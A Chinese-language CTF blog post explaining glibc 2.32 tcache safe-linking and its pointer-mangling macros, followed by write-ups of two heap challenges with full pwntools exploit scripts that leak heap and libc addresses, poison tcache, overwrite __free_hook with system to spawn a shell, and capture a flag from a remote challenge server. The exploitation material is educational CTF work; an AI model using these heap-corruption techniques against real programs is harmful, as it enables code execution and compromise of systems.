期中考试不好好复习高数和离散来复习 glibc 了,👴 高数和离散要是挂科了是有原因的。望周知。

关键宏

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

Tcache 中的加密与解密

tcache_put 加密

1
2
3
4
5
6
7
8
9
10
11
12
13
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;
/********************************HERE*****************************************/
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
/********************************HERE*****************************************/
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

这里的 PROTECT_PTR 意思就是把存放 e->next 内容的堆地址右移 12 位之后,与 tcache->entries[tc_idx] 也就是 e 放进来之前的这个大小的 tcache 入口指向的 chunk。(最近被 free 掉的对应 size chunk)

这里值得一提的是,tcache->entries[tc_idx] = e; 表明我们 tcache 入口的 chunk 指针永远是未经加密的。

比较抽象,画个图给带 🔥 康康。

1
2
3
4
5
6
+──────────────────+─────────────────────+──────────────────────+
| 0x5567e014e290: | 0x0000000000000000 | 0x0000000000000071 |
+──────────────────+─────────────────────+──────────────────────+
| 0x5567e014e2a0: | 0x00000005567e014e | 0x00005567e014e010 |<----- e->next | e->key
| 0x5567e014e2b0: | 0x0000000000000000 | 0x0000000000000000 |
+──────────────────+─────────────────────+──────────────────────+

以上就是第一次 free chunk 进入 tcache 后的情形。

新的 leak 堆地址方式

首先我们看一下这个 0x00000005567e014e 是咋来的呢?

0x5567e014e2a0>>12=0x5567e014e0x5567e014e2a0>>12=0x5567e014e

然后因为我们说过了,这是我们第一次 free 这个大小的 chunk ,先前的这个 tcache->entries[tc_idx] = 0。

0x5567e014e xor 0=0x5567e014e0x5567e014e\space xor\space0=0x5567e014e

那么只要我们通过 leak ,得到了 0x5567e014e ,我们作 0x5567e014e<<12=0x5567e014e0000x5567e014e<<12=0x5567e014e000 也便可以恢复堆地址。


tcache_get 解密

1
2
3
4
5
6
7
8
9
10
11
12
13
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
/********************************HERE*****************************************/
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
/********************************HERE*****************************************/
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

我们看一下 glibc 是怎么在取出分配的 e 后复原为原来的 chunk 指针的,好的我知道带 🔥 不想往上翻宏定义:

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

上面 put 做的操作是 e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx])tcache->entries[tc_idx] = e;

这里 get 做的事情就是 tcache->entries[tc_idx] = PROTECT_PTR (&e->next, e->next)

在 put 进 e 后, e -> next 存放的是本身与 &e->next>>12 加密后的原本的入口 chunk 指针,而 &e>next 这个堆地址是不可能变的,复原的时候再异或回去即可恢复原本的入口 chunk 指针。

以后可能变折磨的 tcache_key

然后要说的是这个 e->key ,因为我一开始开的是 glibc 2.35 的 malloc.c ,👦 惊奇的发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Glibc 2.32
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
/********************************************************************************/
Glibc 2.35 or after particular version:
e->key = tcache_key;
...

tcache_key_initialize (void)
{
if (__getrandom (&tcache_key, sizeof(tcache_key), GRND_NONBLOCK)
!= sizeof (tcache_key))
{
tcache_key = random_bits ();
#if __WORDSIZE == 64
tcache_key = (tcache_key << 32) | random_bits ();
#endif
}
}
/********************************************************************************/

可以发现在我们本文的 glibc 2.32 下这个玩意还是我们和蔼可亲的 tcache_struct 的 mem 区域指针,但是 2.35 或者某个版本之后貌似会变得比较复杂,先 🕊 着,以后见到再说。

另:Fastbin 中的加密与解密

只是提醒一下,Fastbin 也有类似的机制,流程差不多,不多叙述。


例题

2022 CrewCTF - Lambang

👴 发现放了附件,别人看的顺眼点,过来教 👴 小技巧的概率也会大些。不是很想用某云盘,于是 👴 连夜学了 github 的基本用法,传上了 github。

附件

github

checksec

image-20220504002950195

行了,经典的全开堆题。好在莫得沙箱。

漏洞点

首先实现了 allocshowcopy(copy 0)move(copy 1) 四个功能。

image-20220504002916083

漏洞点就在 copy(1) 的时候。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall copy(char a1)
{
__int64 result; // rax
unsigned int v2; // [rsp+10h] [rbp-10h]
unsigned int v3; // [rsp+14h] [rbp-Ch]
void *dest; // [rsp+18h] [rbp-8h]

printf("Index (src): ");
v2 = getint();
if ( v2 > 6 || !notes[v2].content )
error("Invalid index");
printf("Index (dest): ");
v3 = getint();
if ( v3 > 6 )
error("Invalid index");
if ( notes[v3].content )
{
if ( notes[v3].size < notes[v2].size )
error("No enough space");
dest = notes[v3].content;
memcpy(dest, notes[v2].content, notes[v2].size);
}
else
{
dest = malloc(notes[v2].size);
memcpy(dest, notes[v2].content, notes[v2].size);
}
if ( a1 )
{
free(notes[v2].content);
notes[v2].content = 0LL;
}
notes[v3].content = (char *)dest; // 当 src = dest --> UAF 糊脸
result = notes[v2].size;
notes[v3].size = result;
return result;
}

可以发现,如果这里我们的 srcdest 是同一个 idx 且对应 content 存在,那么 UAF 就糊到 👴 们脸上来了。非常的可恶(?)。

有 UAF ,通过 show 函数函数 leak 出来堆地址基本就可以和原来一样 Tcache Poisoning 了。

比较需要注意的是 glibc 2.31 往后是有对相应 tcache 的 counts 的检查的(意思是 👴 们不能直接改原本是空的 next 任意分配 chunk)。影响不大就是了。

本文相关

image-20220504012057314

方便说明我关了本机的 aslr。

0x55555555a300 是我们第一个 free 的chunk,流程已经分析过了。看一下下面的很乱的数字哪来的。在第二个 chunk 被扬进去之前我们的 tcache->entries[tc_idx] = 0x55555555a310 。第二个 chunk 存放 next 指针的堆地址是 0x55555555a380

put 做的操作是 e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx])tcache->entries[tc_idx] = e;。那么:

0x55555555a380>>12=0x55555555a0x55555555a xor 0x55555555a310=0x55500000f64a0x55555555a380>>12=0x55555555a\\ 0x55555555a\space xor \space 0x55555555a310=0x55500000f64a

我们明显是要去控制一个 chunk 分配到其他位置,我的打法是先劫持到 tcache_struct ,因为 👴 特别喜欢这个玩意。那么我们按计划就要在 note2 的 next 位置写上 0x55555555a010 加密后的模样。

通过 leak 出来的堆地址可以计算出对应数据,直接套加密过程就好了:

0x55555555a380>>12=0x55555555a0x55555555a xor 0x55555555a010=0x55500000f54a0x55555555a380>>12=0x55555555a\\ 0x55555555a\space xor \space0x55555555a010=0x55500000f54a

最后就是这样的效果。

image-20220504013226781

\x00 我惹你的温 💢

那么这题还有一个坑点就是,我们能分配的堆块大小有限,且直接分配过去改完 counts 数组后 free 掉 tcache struct 是没办法直接 leak 出 libc 的。这里存在一个 \x00 截断。好在我们分配 chunk 的次数是无限的(没有检查 content)。

image-20220504105904472

特别感谢 n03 家族群里的 NN 师傅,帮我解答了这个 leak 的未解之谜QwQ。这里可以用 Smallbin 去 leak。

打法思路

河里利用这个 copy 函数构造出一个稳定反复横跳的 Double Free,woc 👦 ,越打越上头。根本停不下来。这里我打嗨了直接打了四次 Double Free。不想动其他的脑子了就这样 8️⃣ www。具体每次 Double Free 干了啥注释里有 ww。这里就不多bb了。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.32/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./mynote')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./mynote')
debug()

def menu(choice):
sla('> ',str(choice))

def add(id,size,data):
menu(1)
sla('Index: ',str(id))
sla('Size: ',str(size))
sla('Content: ',str(data))

def show(id):
menu(2)
sla('Index: ',str(id))

def move(fr,to):
menu(3)
sla('Index (src): ',str(fr))
sla('Index (dest): ',str(to))

def copy(fr,to):
menu(4)
sla('Index (src): ',str(fr))
sla('Index (dest): ',str(to))

# Leak Heap
add(0,0x70,'0'*0x65)
add(1,0x70,'1'*0x65)
add(2,0x70,'a') # Smallbin 1
move(0,0)
move(1,1)
show(0)
next_leak = uu64(rc(5))
info_addr('next_leak',next_leak)
heap_addr = (next_leak<<12) + 0x10
info_addr('heap_addr',heap_addr)

# Prepare for 2 chunks
for i in range(0x10):
add(3,0x70,'a')
add(4,0x70,'uuu') # Smallbin 2
for i in range(0x10):
add(3,0x70,'a')

# Double Free 1 --> Enable Smallbin while Corrupting necessary counts
# If u dont't know how to corrupt, go on and look back later
move(0,0)
move(1,1)
add(3,0x68,p64(((heap_addr+0x310)>>12)^(heap_addr))+p64(0))
copy(3,1)
add(3,0x70,'u'*0x10)
add(3,0x70,p16(1)*1+p16(0)*7+p16(255)*0x20)
# Clean the Tcache Key
add(3,0x68,p64(0)+p64(0))
copy(3,0)
copy(3,1)

# Double Free 2 --> Unsortedbin 1
move(0,0)
move(1,1)
add(3,0x68,p64(((heap_addr+0x310)>>12)^(heap_addr+0x380))+p64(0))
copy(3,1)
add(3,0x70,'u'*0x10)
add(3,0x70,p64(0)+p64(0x101))
# Clean the Tcache Key
add(3,0x68,p64(0)+p64(0))
copy(3,0)
copy(3,1)
# move(2,2) [!] DONT FREE CHUNK2 NOW [!]

# Double Free 3 --> Unsortedbin 2
move(0,0)
move(1,1)
add(3,0x68,p64(((heap_addr+0x310)>>12)^(heap_addr+0xb00))+p64(0))
copy(3,1)
add(3,0x70,'u'*0x10)
add(3,0x70,p64(0)+p64(0x101))
# Clean the Tcache Key
add(3,0x68,p64(0)+p64(0))
copy(3,0)
copy(3,1)
move(2,2)
move(4,4)

# Alloc a chunk,turn Unsortedbin --> Smallbin
add(5,0x40,'')
# Leak libc
show(4)
libc_leak = uu64(rc(6))
libc_base = libc_leak - 0x1e3cf0
libc = ELF('./libc.so.6')
__free_hook = libc_base + libc.sym.__free_hook
system_addr = libc_base + libc.sym.system
info_addr('libc_leak',libc_leak)
info_addr('libc_base',libc_base)
info_addr('__free_hook',__free_hook)
info_addr('system_addr',system_addr)

# Double Free 4 --> Hijack the __free_hook
move(0,0)
move(1,1)
add(3,0x68,p64(((heap_addr+0x310)>>12)^(heap_addr+0x80))+p64(0))
copy(3,1)
add(3,0x70,'u'*0x10)
# Yeah,Chunk 3 is MVP
add(3,0x70,p64(__free_hook))
add(3,0x18,p64(system_addr))
add(3,0x70,'/bin/sh\0')
move(3,3)

p.interactive()

2021 VNCTF - ff

环境

BUUCTF 上有环境。

一些bb赖赖

要我说,这题比上题简单点其实。虽然也有 /x00 截断且我们的 show 只有一次机会,However 👦 我们可以 Partial Overwrite,如果 show chance 有多的是可以泄露出 libc 的。没有也没关系,我们可以打 IO,总之乱 🐑

思路

  1. 首先上来直接用 UAF 和一次 show 的机会去 leak 出堆地址,不要小气
  2. 然后直接用俩次 edit 机会 Double Free 之后去改 next 指针劫持 tcache struct
  3. 劫持过去首先要保证我们的 tcache struct 的 count 位是满的,👴 要把他 🐑👴 Unsortedbin 里面。注意其他后续要用到的关键 count 位不要乱来,不然一个 malloc 一个报错,非常滴爽
  4. 然后注意,Unsortedbin 我们是可以割的,把握好布局,把我们带 \x00main_arena + 96 扬到我们可以分配的大小的 entry 里面。然后 Partial Overwrite 去改成我们的 Stdout 打 leak,这里大概有 1/16 的概率。为毛是大概?因为他可能非常阴间,恰好给你分到俩页去(👴 本机不开 aslr 次次分俩页 💢)。注意我们最好同时完全覆写上一个可分配大小内的 entry 指针指针,保证 👴 们依法享有的 tcache struct 分配权。所以只要 leak 出来,就可以乱打了。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.32/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./pwn')
# debug()
p = remote('node4.buuoj.cn',27365)

def menu(choice):
sla('>>',str(choice))

def add(size,data):
menu(1)
sla('Size:',str(size))
sea('Content:',str(data))

def dele():
menu(2)

def show():
menu(3)

def edit(data):
menu(5)
sla('Content:',str(data))

# Leak Heap
add(0x80,'c1') # 0
dele()
show()
heap_leak = uu64(rc(8))
heap_addr = (heap_leak<<12) + 0x10
info_addr('heap_leak',heap_leak)
info_addr('heap_addr',heap_addr)
# Double Free
edit('A'*0x10)
dele()
edit(p64(((heap_addr+0x280)>>12)^(heap_addr))+p64(0))
# Hijack Tcache Struct
add(0x80,'u') # 1
add(0x80,p16(0)*0x18+p16(255)*0x28) # 2
dele()
# Partial Overwrite to Attack the _IO_2_stdout_
add(0x80,p16(0)*2+p16(2)+p16(1)+p16(0)*0x10) # 3 Corrupt necessary cnts
add(0x20,p64(heap_addr+0x90)+p16(0x16c0)) # 4 Partial Overwrite while Controling the 0x40 Entry
sleep(0.3)
add(0x48,p64(0x00000000fbad1800)+p64(0)*3+'\x00') # 5 Attack the Stdout
sleep(0.3)
ru('\n')
libc_leak=uu64(rc(6))
libc_addr = libc_leak - 0x1e4744
info_addr('libc_leak',libc_leak)
info_addr('libc_addr',libc_addr)
libc = ELF('./libc.so.6')
__free_hook = libc_addr + libc.sym.__free_hook
system_addr = libc_addr + libc.sym.system
# Hijack the __free_hook
add(0x38,p64(__free_hook))
add(0x38,p64(system_addr))
# Trigger
add(0x10,'/bin/sh\0')
dele()

p.interactive()

有远程环境就打一下远程,是可以打通的QwQ。

1
2
3
4
5
6
7
8
9
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2b bytes:
'flag{26121271-9ef6-4e22-9411-3d44f075bdfd}\n'
flag{26121271-9ef6-4e22-9411-3d44f075bdfd}
$
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 27365